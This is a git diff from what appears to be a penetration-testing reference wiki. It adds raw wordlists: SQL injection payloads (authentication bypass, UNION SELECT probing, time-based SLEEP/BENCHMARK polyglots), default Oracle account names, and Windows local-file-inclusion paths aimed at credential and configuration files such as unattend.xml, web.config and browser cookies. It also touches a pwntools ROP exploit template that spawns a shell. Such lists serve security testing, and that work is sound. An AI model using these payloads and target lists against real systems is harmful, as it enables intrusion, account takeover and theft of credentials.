+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-error.txt b/.gitbook/assets/sqli-error.txt
new file mode 100644
index 00000000000..693ccdd13c8
--- /dev/null
+++ b/.gitbook/assets/sqli-error.txt
@@ -0,0 +1,40 @@
+'asd
+')asd
+''asd
+'))asd
+`ads
+`)asd
+``asd
+`))asd
+,
+"asd
+")asd
+""asd
+"))asd
+/
+//
+\
+\\
+;ad
+%2527asd
+%2522asd
+-- -
+#
+/*
+1
+-1
+999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
+-999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
+asd
+|
+&
+||
+&&
+@
+%
+;
+>
+!"·$%&(=?¿'¡`<>);:_#-@
+SLEEP(5)
+SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/
+SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(5)))OR"*/ FROM some_table WHERE ex = ample
\ No newline at end of file
diff --git a/src/files/sqli-hashbypass.txt b/.gitbook/assets/sqli-hashbypass.txt
similarity index 100%
rename from src/files/sqli-hashbypass.txt
rename to .gitbook/assets/sqli-hashbypass.txt
diff --git a/.gitbook/assets/sqli-logic.txt b/.gitbook/assets/sqli-logic.txt
new file mode 100644
index 00000000000..6efb4fbff58
--- /dev/null
+++ b/.gitbook/assets/sqli-logic.txt
@@ -0,0 +1,82 @@
+true
+1
+1>0
+2-1
+0+1
+1*1
+1%2
+1 & 1
+1&1
+1 && 2
+1&&2
+-1 || 1
+-1||1
+-1 oR 1=1
+1 aND 1=1
+(1)oR(1=1)
+(1)aND(1=1)
+-1/**/oR/**/1=1
+1/**/aND/**/1=1
+1'
+1'>'0
+2'-'1
+0'+'1
+1'*'1
+1'%'2
+1'&'1'='1
+1'&&'2'='1
+-1'||'1'='1
+-1'oR'1'='1
+1'aND'1'='1
+1"
+1">"0
+2"-"1
+0"+"1
+1"*"1
+1"%"2
+1"&"1"="1
+1"&&"2"="1
+-1"||"1"="1
+-1"oR"1"="1
+1"aND"1"="1
+1`
+1`>`0
+2`-`1
+0`+`1
+1`*`1
+1`%`2
+1`&`1`=`1
+1`&&`2`=`1
+-1`||`1`=`1
+-1`oR`1`=`1
+1`aND`1`=`1
+1')>('0
+2')-('1
+0')+('1
+1')*('1
+1')%('2
+1')&'1'=('1
+1')&&'1'=('1
+-1')||'1'=('1
+-1')oR'1'=('1
+1')aND'1'=('1
+1")>("0
+2")-("1
+0")+("1
+1")*("1
+1")%("2
+1")&"1"=("1
+1")&&"1"=("1
+-1")||"1"=("1
+-1")oR"1"=("1
+1")aND"1"=("1
+1`)>(`0
+2`)-(`1
+0`)+(`1
+1`)*(`1
+1`)%(`2
+1`)&`1`=(`1
+1`)&&`1`=(`1
+-1`)||`1`=(`1
+-1`)oR`1`=(`1
+1`)aND`1`=(`1
diff --git a/.gitbook/assets/sqli-true.txt b/.gitbook/assets/sqli-true.txt
new file mode 100644
index 00000000000..d28f1dfac22
--- /dev/null
+++ b/.gitbook/assets/sqli-true.txt
@@ -0,0 +1,421 @@
+true
+'&'
+"&"
+'^'
+"^"
+'*'
+"*"
+0=0
+'='
+"="
+')&('
+")&("
+')^('
+")^("
+')*('
+")*("
+0)=(0
+')=('
+")=("
+'))&(('
+"))&(("
+'))^(('
+"))^(("
+'))*(('
+"))*(("
+0))=((0
+'))=(('
+"))=(("
+2'LIkE'3
+2"LIkE"3
+-3')LIkE('3
+-3")LIkE("3
+-3'))LIkE(('3
+-3"))LIkE(("3
+-3 oR 2=2
+-3' oR 2=2-- 2
+-3' oR 2=2#
+-3' oR 2=2/*
+-3" oR 2=2-- 2
+-3" oR 2=2#
+-3" oR 2=2/*
+-3 oR 2
+-3' oR 2-- 2
+-3' oR 2#
+-3' oR 2/*
+-3" oR 2-- 2
+-3" oR 2#
+-3" oR 2/*
+-3 oR 2>0
+-3' oR 2>0-- 2
+-3' oR 2>0#
+-3' oR 2>0/*
+-3" oR 2>0-- 2
+-3" oR 2>0#
+-3" oR 2>0/*
+-3 oR 0<2
+-3' oR 0<2-- 2
+-3' oR 0<2#
+-3' oR 0<2/*
+-3" oR 0<2-- 2
+-3" oR 0<2#
+-3" oR 0<2/*
+-3 oR 2 LIkE 2
+-3' oR 2 LIkE 2-- 2
+-3' oR 2 LIkE 2#
+-3' oR 2 LIkE 2/*
+-3" oR 2 LIkE 2-- 2
+-3" oR 2 LIkE 2#
+-3" oR 2 LIkE 2/*
+-3 oR '2'='2'
+-3' oR 2 oR '
+-3'oR'2'oR'
+-3" oR 2 oR "
+-3"oR"2"oR"
+-3 oR true
+-3' oR true-- 2
+-3' oR true#
+-3' oR true/*
+-3" oR true-- 2
+-3" oR true#
+-3" oR true/*
+-3'oR''+'2
+-3"oR""+"2
+-3'oR''-'-2
+-3"oR""-"-2
+-3'oR'2'&'2
+-3"oR"2"&"2
+-3'oR''^'2
+-3"oR""^"2
+-3'oR'2'*'2
+-3"oR"2"*"2
+-3'oR'2'>'0
+-3"oR"0"<"2
+-3'oR'2'='2
+-3"oR"2"="2
+-3/**/oR/**/2=2
+-3'/**/oR/**/2=2#
+-3'/**/oR/**/2=2/*
+-3"/**/oR/**/2=2#
+-3"/**/oR/**/2=2/*
+-3/**/oR/**/2
+-3'/**/oR/**/2#
+-3'/**/oR/**/2/*
+-3"/**/oR/**/2#
+-3"/**/oR/**/2/*
+-3/**/oR/**/2>0
+-3'/**/oR/**/2>0#
+-3'/**/oR/**/2>0/*
+-3"/**/oR/**/2>0#
+-3"/**/oR/**/2>0/*
+-3/**/oR/**/0<2
+-3'/**/oR/**/0<2#
+-3'/**/oR/**/0<2/*
+-3"/**/oR/**/0<2#
+-3"/**/oR/**/0<2/*
+-3/**/oR/**/2/**/LIkE/**/2
+-3'/**/oR/**/2/**/LIkE/**/2#
+-3'/**/oR/**/2/**/LIkE/**/2/*
+-3"/**/oR/**/2/**/LIkE/**/2#
+-3"/**/oR/**/2/**/LIkE/**/2/*
+-3/**/oR/**/'2'='2'
+-3'/**/oR/**/2/**/oR/**/'
+-3"/**/oR/**/2/**/oR/**/"
+-3/**/oR/**/true
+-3'/**/oR/**/true#
+-3'/**/oR/**/true/*
+-3"/**/oR/**/true#
+-3"/**/oR/**/true/*
+-3||2=2
+-3'||2=2-- 2
+-3'||2=2#
+-3'||2=2/*
+-3"||2=2-- 2
+-3"||2=2#
+-3"||2=2/*
+-3||2
+-3'||2-- 2
+-3'||2#
+-3'||2/*
+-3"||2-- 2
+-3"||2#
+-3"||2/*
+-3||2>0
+-3'||2>0-- 2
+-3'||2>0#
+-3'||2>0/*
+-3"||2>0-- 2
+-3"||2>0#
+-3"||2>0/*
+-3||0<2
+-3'||0<2-- 2
+-3'||0<2#
+-3'||0<2/*
+-3"||0<2-- 2
+-3"||0<2#
+-3"||0<2/*
+-3||(2)LIkE(2)
+-3'||(2)LIkE(2)-- 2
+-3'||(2)LIkE(2)#
+-3'||(2)LIkE(2)/*
+-3"||(2)LIkE(2)-- 2
+-3"||(2)LIkE(2)#
+-3"||(2)LIkE(2)/*
+-3||'2'='2'
+-3'||'2'='2
+-3"||"2"="2
+-3'||2||'
+-3'||'2'||'
+-3"||2||"
+-3"||"2"||"
+-3||true
+-3'||true-- 2
+-3'||true#
+-3'||true/*
+-3"||true-- 2
+-3"||true#
+-3"||true/*
+-3'||''+'2
+-3"||""+"2
+-3'||''-'-2
+-3"||""-"-2
+-3'||'2'&'2
+-3"||"2"&"2
+-3'||''^'2
+-3"||""^"2
+-3'||'2'*'2
+-3"||"2"*"2
+(-3)oR(2)=(2)
+-3'oR(2)=(2)#
+-3'oR(2)=(2)/*
+-3"oR(2)=(2)#
+-3"oR(2)=(2)/*
+(-3)oR(2)
+-3'oR(2)#
+-3'oR(2)/*
+-3"oR(2)#
+-3"oR(2)/*
+(-3)oR(2)LIkE(2)
+-3'oR(2)LIkE(2)#
+-3'oR(2)LIkE(2)/*
+-3"oR(2)LIkE(2)#
+-3"oR(2)LIkE(2)/*
+(-3)oR'2'='2'
+-3"oR"(2)"="(2)
+-3'oR(2)oR'
+-3"oR(2)oR"
+(-3)oR(true)
+-3'oR(true)#
+-3'oR(true)/*
+-3"oR(true)#
+-3"oR(true)/*
+-3)oR(2)=(2
+-3')oR(2)=2-- 2
+-3')oR(2)=2#
+-3')oR(2)=2/*
+-3")oR(2)=2-- 2
+-3")oR(2)=2#
+-3")oR(2)=2/*
+-3)oR(2
+-3')oR(2)-- 2
+-3')oR(2)#
+-3')oR(2)/*
+-3")oR(2)-- 2
+-3")oR(2)#
+-3")oR(2)/*
+-3)oR(2)>(0
+-3')oR(2)>0-- 2
+-3')oR(2)>0#
+-3')oR(2)>0/*
+-3")oR(2)>0-- 2
+-3")oR(2)>0#
+-3")oR(2)>0/*
+-3)oR(0)<(2
+-3')oR(0)<2-- 2
+-3')oR(0)<2#
+-3')oR(0)<2/*
+-3")oR(0)<2-- 2
+-3")oR(0)<2#
+-3")oR(0)<2/*
+-3)oR(2)LIkE(2
+-3')oR(2)LIkE(2)-- 2
+-3')oR(2)LIkE(2)#
+-3')oR(2)LIkE(2)/*
+-3")oR(2)LIkE(2)-- 2
+-3")oR(2)LIkE(2)#
+-3")oR(2)LIkE(2)/*
+-3)oR'2'=('2'
+-3')oR'2'=('2
+-3")oR"2"=("2
+-3')oR(2)oR('
+-3')oR'2'oR('
+-3")oR(2)oR("
+-3")oR"2"oR("
+-3)oR(true
+-3')oR(true)-- 2
+-3')oR(true)#
+-3')oR(true)/*
+-3")oR(true)-- 2
+-3")oR(true)#
+-3")oR(true)/*
+-3')oR''+('2
+-3")oR""+("2
+-3')oR''-('-2
+-3")oR""-("-2
+-3')oR'2'&('2
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+-3')/**/oR/**/2/**/oR/**/('
+-3")/**/oR/**/2/**/oR/**/("
+-3)||2=(2
+-3')||2=2-- 2
+-3')||2=2#
+-3')||2=2/*
+-3")||2=2-- 2
+-3")||2=2#
+-3")||2=2/*
+-3)||(2
+-3')||2-- 2
+-3')||2#
+-3')||2/*
+-3")||2-- 2
+-3")||2#
+-3")||2/*
+-3||(2)LIkE(2
+-3')||(2)LIkE2-- 2
+-3')||(2)LIkE2#
+-3')||(2)LIkE2/*
+-3")||(2)LIkE2-- 2
+-3")||(2)LIkE2#
+-3")||(2)LIkE2/*
+-3)||'2'=('2'
+-3')||'2'=('2
+-3")||"2"=("2
+-3')||2||('
+-3')||'2'||('
+-3")||2||("
+-3")||"2"||("
+-3)||(true
+-3')||(true)-- 2
+-3')||(true)#
+-3')||(true)/*
+-3")||(true)-- 2
+-3")||(true)#
+-3")||(true)/*
+-3')||''+('2
+-3")||""+("2
+-3')||''-('-2
+-3")||""-("-2
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+-3")||""^("2
+-3')||'2'*('2
+-3")||"2"*("2
+-3))oR(2)=((2
+-3'))oR(2)=2-- 2
+-3'))oR(2)=2#
+-3'))oR(2)=2/*
+-3"))oR(2)=2-- 2
+-3"))oR(2)=2#
+-3"))oR(2)=2/*
+-3))oR((2
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+-3'))oR(2)#
+-3'))oR(2)/*
+-3"))oR(2)-- 2
+-3"))oR(2)#
+-3"))oR(2)/*
+-3))oR(2)>((0
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+-3'))oR(2)>0#
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+-3"))oR(2)>0-- 2
+-3"))oR(2)>0#
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+-3"))oR(0)<2#
+-3"))oR(0)<2/*
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+-3'))oR(2)LIkE(2)#
+-3'))oR(2)LIkE(2)/*
+-3"))oR(2)LIkE(2)-- 2
+-3"))oR(2)LIkE(2)#
+-3"))oR(2)LIkE(2)/*
+-3))oR'2'=(('2'
+-3'))oR'2'=(('2
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+-3'))oR'2'oR(('
+-3"))oR(2)oR(("
+-3"))oR"2"oR(("
+-3))oR((true
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+-3'))oR(true)#
+-3'))oR(true)/*
+-3"))oR(true)-- 2
+-3"))oR(true)#
+-3"))oR(true)/*
+-3'))oR''+(('2
+-3"))oR""+(("2
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+-3'))||2=2#
+-3'))||2=2/*
+-3"))||2=2-- 2
+-3"))||2=2#
+-3"))||2=2/*
+-3))||((2
+-3'))||2-- 2
+-3'))||2#
+-3'))||2/*
+-3"))||2-- 2
+-3"))||2#
+-3"))||2/*
+-3||(2)LIkE((2
+-3'))||(2)LIkE2-- 2
+-3'))||(2)LIkE2#
+-3'))||(2)LIkE2/*
+-3"))||(2)LIkE2-- 2
+-3"))||(2)LIkE2#
+-3"))||(2)LIkE2/*
+-3))||'2'=(('2'
+-3'))||'2'=(('2
+-3"))||"2"=(("2
+-3'))||2||(('
+-3'))||'2'||(('
+-3"))||2||(("
+-3"))||"2"||(("
+-3))||((true
+-3'))||(true)-- 2
+-3'))||(true)#
+-3'))||(true)/*
+-3"))||(true)-- 2
+-3"))||(true)#
+-3"))||(true)/*
+-3'))||''+(('2
+-3"))||""+(("2
+-3'))||''-(('-2
+-3"))||""-(("-2
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+-3"))||"2"&(("2
+-3'))||''^(('2
+-3"))||""^(("2
+-3'))||'2'*(('2
+-3"))||"2"*(("2
\ No newline at end of file
diff --git a/.gitbook/assets/ssti-methodology-diagram.png b/.gitbook/assets/ssti-methodology-diagram.png
new file mode 100644
index 00000000000..90b57b2d9e8
Binary files /dev/null and b/.gitbook/assets/ssti-methodology-diagram.png differ
diff --git a/src/images/template.py b/.gitbook/assets/template.py
similarity index 91%
rename from src/images/template.py
rename to .gitbook/assets/template.py
index f26b4a8522b..8f889b5e158 100644
--- a/src/images/template.py
+++ b/.gitbook/assets/template.py
@@ -1,9 +1,9 @@
 from pwn import * # Import pwntools
 
 
-###################
-### CONNECTION ####
-###################
+####################
+#### CONNECTION ####
+####################
 LOCAL = True
 REMOTETTCP = False
 REMOTESSH = False
@@ -36,9 +36,9 @@
     gdb.attach(p.pid, "continue")
 
 
-###################
-### Find offset ###
-###################
+####################
+#### Find offset ###
+####################
 OFFSET = "A"*40
 if OFFSET == "":
     gdb.attach(p.pid, "c") #Attach and continue
@@ -51,9 +51,9 @@
     exit()
 
 
-####################
-### Find Gadgets ###
-####################
+#####################
+#### Find Gadgets ###
+#####################
 PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
 MAIN_PLT = elf.symbols['main']
 POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@@ -93,9 +93,9 @@ def get_addr(func_name):
 # this implies that in the future if you search for functions in libc, the resulting address
 # will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS)
 
-################################
-## GET SHELL with known LIBC ###
-################################
+#################################
+### GET SHELL with known LIBC ###
+#################################
 BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
 SYSTEM = libc.sym["system"]
 EXIT = libc.sym["exit"]
@@ -108,5 +108,5 @@ def get_addr(func_name):
 p.clean()
 p.sendline(rop2)
 
-#### Interact with the shell #####
+##### Interact with the shell #####
 p.interactive() #Interact with the conenction
\ No newline at end of file
diff --git a/.gitbook/assets/users-oracle.txt b/.gitbook/assets/users-oracle.txt
new file mode 100644
index 00000000000..f95874bec93
--- /dev/null
+++ b/.gitbook/assets/users-oracle.txt
@@ -0,0 +1,1369 @@
+AASH
+ABA1
+abm
+ABM
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+ADAMS
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+ADLDEMO
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+ANDY
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+ANONYMOUS
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+applysyspub
+APPLYSYSPUB
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+apps_mrc
+APPS_MRC
+appuser
+APPUSER
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+AQDEMO
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+AUDIOUSER
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+AURORA$ORB$UNAUTHENTICATED
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+EXAMPLE
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+portal30_sso_ps
+PORTAL30_SSO_PS
+portal30_sso_public
+PORTAL30_SSO_PUBLIC
+PORTAL_APP
+portal_demo
+PORTAL_DEMO
+PORTAL_PUBLIC
+portal_sso_ps
+PORTAL_SSO_PS
+pos
+POS
+powercartuser
+POWERCARTUSER
+PPM1
+PPM2
+PPM3
+PPM4
+PPM5
+primary
+PRIMARY
+PRISTB733
+PRISTCTL
+PRISTDTA
+PRODB733
+PRODCTL
+PRODDTA
+PRODUSER
+PROJMFG
+PRP
+PS
+PS810
+PS810CTL
+PS810DTA
+PS811
+PS811CTL
+PS811DTA
+PS812
+PS812CTL
+PS812DTA
+psa
+PSA
+psb
+PSB
+PSBASS
+PSEM
+PSFT
+PSFTDBA
+psp
+PSP
+PTADMIN
+PTCNE
+PTDMO
+PTE
+PTESP
+PTFRA
+PTG
+PTGER
+PTJPN
+PTUKE
+PTUPG
+PTWEB
+PTWEBSERVER
+pubsub
+PUBSUB
+pubsub1
+PUBSUB1
+pv
+PV
+PY7333
+PY7334
+PY810
+PY811
+PY812
+PY9
+qa
+QA
+qdba
+QDBA
+QOT
+qp
+QP
+QRM
+qs
+QS
+qs_adm
+QS_ADM
+qs_cb
+QS_CB
+qs_cbadm
+QS_CBADM
+qs_cs
+QS_CS
+qs_es
+QS_ES
+qs_os
+QS_OS
+qs_ws
+QS_WS
+re
+RE
+RENE
+repadmin
+REPADMIN
+rep_manager
+REP_MANAGER
+reports
+REPORTS
+reports_user
+REPORTS_USER
+rep_owner
+REP_OWNER
+rep_user
+REP_USER
+RESTRICTED_US
+rg
+RG
+rhx
+RHX
+rla
+RLA
+rlm
+RLM
+RM1
+RM2
+RM3
+RM4
+RM5
+rmail
+RMAIL
+rman
+RMAN
+ROB
+RPARKER
+rrs
+RRS
+RWA1
+SALLYH
+SAM
+sample
+SAMPLE
+sap
+SAP
+sapr3
+SAPR3
+SARAHMANDY
+SCM1
+SCM2
+SCM3
+SCM4
+scott
+SCOTT
+SDAVIS
+sdos_icsap
+SDOS_ICSAP
+secdemo
+SECDEMO
+SEDWARDS
+SELLCM
+SELLER
+SELLTREAS
+serviceconsumer1
+SERVICECONSUMER1
+SERVICES
+SETUP
+sh
+SH
+SID
+si_informtn_schema
+SI_INFORMTN_SCHEMA
+siteminder
+SITEMINDER
+SKAYE
+SKYTETSUKA
+slide
+SLIDE
+SLSAA
+SLSMGR
+SLSREP
+spierson
+SPIERSON
+SRABBITT
+SRALPHS
+SRAY
+SRIVERS
+SSA1
+SSA2
+SSA3
+SSC1
+SSC2
+SSC3
+SSOSDK
+ssp
+SSP
+SSS1
+starter
+STARTER
+strat_user
+STRAT_USER
+SUPPLIER
+SVM7333
+SVM7334
+SVM810
+SVM811
+SVM812
+SVM9
+SVMB733
+SVP1
+swpro
+SWPRO
+swuser
+SWUSER
+SY810
+SY811
+SY812
+SY9
+sympa
+SYMPA
+sys
+SYS
+SYS7333
+SYS7334
+sysadm
+SYSADM
+sysadmin
+SYSADMIN
+SYSB733
+sysman
+SYSMAN
+system
+SYSTEM
+tahiti
+TAHITI
+talbot
+TALBOT
+TDEMARCO
+tdos_icsap
+TDOS_ICSAP
+tec
+TEC
+test
+TEST
+TESTCTL
+TESTDTA
+testpilot
+TESTPILOT
+test_user
+TEST_USER
+thinsample
+THINSAMPLE
+tibco
+TIBCO
+tip37
+TIP37
+TRA1
+tracesvr
+TRACESVR
+travel
+TRAVEL
+TRBM1
+TRCM1
+TRDM1
+TRRM1
+tsdev
+TSDEV
+tsuser
+TSUSER
+turbine
+TURBINE
+TWILLIAMS
+UDDISYS
+ultimate
+ULTIMATE
+um_admin
+UM_ADMIN
+um_client
+UM_CLIENT
+user
+USER
+user0
+USER0
+user1
+USER1
+user2
+USER2
+user3
+USER3
+user4
+USER4
+user5
+USER5
+user6
+USER6
+user7
+USER7
+user8
+USER8
+user9
+USER9
+user_name
+USER_NAME
+usuario
+USUARIO
+utility
+UTILITY
+utlbstatu
+UTLBSTATU
+vea
+VEA
+veh
+VEH
+vertex_login
+VERTEX_LOGIN
+VIDEO31
+VIDEO4
+VIDEO5
+videouser
+VIDEOUSER
+vif_developer
+VIF_DEVELOPER
+viruser
+VIRUSER
+VP1
+VP2
+VP3
+VP4
+VP5
+VP6
+vpd_admin
+VPD_ADMIN
+vrr1
+VRR1
+WAA1
+WAA2
+WCRSYS
+webcal01
+WEBCAL01
+webdb
+WEBDB
+webread
+WEBREAD
+websys
+WEBSYS
+webuser
+WEBUSER
+WENDYCHO
+west
+WEST
+wfadmin
+WFADMIN
+wh
+WH
+wip
+WIP
+WIRELESS
+wkadmin
+WKADMIN
+wkproxy
+WKPROXY
+wksys
+WKSYS
+wk_test
+WK_TEST
+wkuser
+WKUSER
+wms
+WMS
+wmsys
+WMSYS
+wob
+WOB
+wps
+WPS
+wsh
+WSH
+wsm
+WSM
+www
+WWW
+wwwuser
+WWWUSER
+xademo
+XADEMO
+xdb
+XDB
+XDO
+xdp
+XDP
+xla
+XLA
+XLE
+XNB
+xnc
+XNC
+xni
+XNI
+xnm
+XNM
+xnp
+XNP
+xns
+XNS
+xprt
+XPRT
+xtr
+XTR
+YCAMPOS
+YSANCHEZ
+ZFA
+ZPB
+ZSA
+ZX
diff --git a/src/files/vncpwd.zip b/.gitbook/assets/vncpwd.zip
similarity index 100%
rename from src/files/vncpwd.zip
rename to .gitbook/assets/vncpwd.zip
diff --git a/src/files/vpnIDs.txt b/.gitbook/assets/vpnids.txt
similarity index 100%
rename from src/files/vpnIDs.txt
rename to .gitbook/assets/vpnids.txt
diff --git a/.gitbook/assets/winlfi.txt b/.gitbook/assets/winlfi.txt
new file mode 100644
index 00000000000..bd0b3746c44
--- /dev/null
+++ b/.gitbook/assets/winlfi.txt
@@ -0,0 +1,218 @@
+C:/$recycle.bin/s-1-5-18/desktop.ini
+C:/apache2/log/access.log
+C:/apache2/log/access_log
+C:/apache2/log/error.log
+C:/apache2/log/error_log
+C:/apache2/logs/access.log
+C:/apache2/logs/access_log
+C:/apache2/logs/error.log
+C:/apache2/logs/error_log
+C:/apache/log/access.log
+C:/apache/log/access_log
+C:/apache/log/error.log
+C:/apache/log/error_log
+C:/apache/logs/access.log
+C:/apache/logs/access_log
+C:/apache/logs/error.log
+C:/apache/logs/error_log
+C:/apache/php/php.ini
+C:/boot.ini
+C:/documents and settings/administrator/desktop/desktop.ini
+C:/documents and settings/administrator/ntuser.dat
+C:/documents and settings/administrator/ntuser.ini
+C:/home2/bin/stable/apache/php.ini
+C:/home/bin/stable/apache/php.ini
+C:/inetpub/logs/logfiles
+C:/inetpub/wwwroot/global.asa
+C:/inetpub/wwwroot/index.asp
+C:/inetpub/wwwroot/web.config
+C:/log/access.log
+C:/log/access_log
+C:/log/error.log
+C:/log/error_log
+C:/log/httpd/access_log
+C:/log/httpd/error_log
+C:/logs/access.log
+C:/logs/access_log
+C:/logs/error.log
+C:/logs/error_log
+C:/logs/httpd/access_log
+C:/logs/httpd/error_log
+C:/MININT/SMSOSD/OSDLOGS/VARIABLES.DAT
+C:/mysql/bin/my.ini
+C:/mysql/data/hostname.err
+C:/mysql/data/mysql.err
+C:/mysql/data/mysql.log
+C:/mysql/my.cnf
+C:/mysql/my.ini
+C:/opt/xampp/logs/access.log
+C:/opt/xampp/logs/access_log
+C:/opt/xampp/logs/error.log
+C:/opt/xampp/logs/error_log
+C:/php4/php.ini
+C:/php4/sessions/
+C:/php5/php.ini
+C:/php5/sessions/
+C:/php/php.ini
+C:/php/sessions/
+C:/programdata/mcafee/common framework/sitelist.xml
+C:/program files/apache group/apache2/conf/httpd.conf
+C:/program files/apache group/apache/conf/access.log
+C:/program files/apache group/apache/conf/error.log
+C:/program files/apache group/apache/conf/httpd.conf
+C:/program files/apache group/apache/logs/access.log
+C:/program files/apache group/apache/logs/error.log
+C:/program files/filezilla server/filezilla server.xml
+C:/program files/mysql/data/hostname.err
+C:/program files/mysql/data/mysql-bin.log
+C:/program files/mysql/data/mysql.err
+C:/program files/mysql/data/mysql.log
+C:/program files/mysql/my.cnf
+C:/program files/mysql/my.ini
+C:/program files/mysql/mysql server 5.0/data/hostname.err
+C:/program files/mysql/mysql server 5.0/data/mysql-bin.log
+C:/program files/mysql/mysql server 5.0/data/mysql.err
+C:/program files/mysql/mysql server 5.0/data/mysql.log
+C:/program files/mysql/mysql server 5.0/my.cnf
+C:/program files/mysql/mysql server 5.0/my.ini
+C:/program files/mysql/mysql server 5.1/my.ini
+C:/program files (x86)/apache group/apache2/conf/httpd.conf
+C:/program files (x86)/apache group/apache/conf/access.log
+C:/program files (x86)/apache group/apache/conf/error.log
+C:/program files (x86)/apache group/apache/conf/httpd.conf
+C:/program files (x86)/apache group/apache/logs/access.log
+C:/program files (x86)/apache group/apache/logs/error.log
+C:/program files (x86)/filezilla server/filezilla server.xml
+C:/program files (x86)/mysql/data/hostname.err
+C:/program files (x86)/mysql/data/mysql-bin.log
+C:/program files (x86)/mysql/data/mysql.err
+C:/program files (x86)/mysql/data/mysql.log
+C:/program files (x86)/mysql/my.cnf
+C:/program files (x86)/mysql/my.ini
+C:/program files (x86)/mysql/mysql server 5.0/data/hostname.err
+C:/program files (x86)/mysql/mysql server 5.0/data/mysql-bin.log
+C:/program files (x86)/mysql/mysql server 5.0/data/mysql.err
+C:/program files (x86)/mysql/mysql server 5.0/data/mysql.log
+C:/program files (x86)/mysql/mysql server 5.0/my.cnf
+C:/program files (x86)/mysql/mysql server 5.0/my.ini
+C:/program files (x86)/mysql/mysql server 5.1/my.ini
+C:/program files (x86)/xampp/apache/conf/httpd.conf
+C:/program files/xampp/apache/conf/httpd.conf
+C:/sysprep.inf
+C:/sysprep/sysprep.inf
+C:/sysprep/sysprep.xml
+C:/sysprep.xml
+C:/system32/inetsrv/metabase.xml
+C:/system volume information/wpsettings.dat
+C:/unattended.txt
+C:/unattended.xml
+C:/unattend.txt
+C:/unattend.xml
+C:/users/administrator/appdata/local/google/chrome/user data/default/bookmarks
+C:/users/administrator/appdata/local/google/chrome/user data/default/bookmarks.bak
+C:/users/administrator/appdata/local/google/chrome/user data/default/cookies
+C:/users/administrator/appdata/local/google/chrome/user data/default/history
